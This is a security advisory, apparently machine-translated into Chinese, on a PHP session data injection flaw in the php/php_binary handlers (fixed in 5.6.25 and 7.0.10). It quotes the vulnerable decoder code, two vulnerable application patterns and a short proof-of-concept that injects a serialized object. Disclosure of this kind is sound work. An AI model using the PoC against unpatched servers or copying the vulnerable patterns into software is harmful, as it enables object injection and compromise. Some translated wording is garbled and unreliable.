PHP会话数据注入漏洞

PHP的会话php / php_binary处理程序错误地处理了会话名称,从而导致任意注入会话数据。


PHP会话数据注入漏洞

错误报告位于:https : //bugs.php.net/bug.php?id=72681
修复提交:https : //github.com/php/php-src/commit/8763c6090d627d8bb0ee1d030c30e58f406be9ce

受影响的版本

受影响的是PHP 5 <5.6.25 <br />
受影响的是PHP 7 <7.0.10

学分

此漏洞由Chen Taoguang披露。

描述

PS_SERIALIZER_DECODE_FUNC(php) /* {{{ */ { ... while (p < endptr) { zval **tmp; q = p; while (*q != PS_DELIMITER) { if (++q >= endptr) goto break_outer_loop; } if (p[0] == PS_UNDEF_MARKER) { p++; has_value = 0; } else { has_value = 1; } namelen = q - p; name = estrndup(p, namelen); q++; if (zend_hash_find(&EG(symbol_table), name, namelen + 1, (void **) &tmp) == SUCCESS) { if ((Z_TYPE_PP(tmp) == IS_ARRAY && Z_ARRVAL_PP(tmp) == &EG(symbol_table)) || *tmp == PS(http_session_vars)) { goto skip; } } ... skip: efree(name); p = q; } 

如果不允许使用渗透名称,则渗透php处理程序将忽略并跳过该名称,并继续进行解析。因此,如果攻击者可以控制会话名称,那么他将能够将任意序列化的数据注入到会话中。这意味着诸如来自真实世界和应用程序的以下代码可用于任意注入会话数据。

一世)

$_SESSION = array_merge($_SESSION, $_POST); 

ii)

if (isset($_GET['id']) && $_GET['result']) { $_SESSION[$_GET['id']] = $_GET['result']; 

这也意味着允许用户输入会话反序列化。这将导致类似于unserialize()的输入的漏洞,例如释放后使用,对象注入等
。会话php_binary处理程序中也存在类似的问题。

概念利用证明

<?php  ini_set('session.serialize_handler', 'php'); session_start(); $_SESSION['_SESSION'] = 'ryat|O:8:"stdClass":0:{}'; session_write_close(); session_start(); var_dump($_SESSION);  ?>


发表评论 / Comment

用心评论~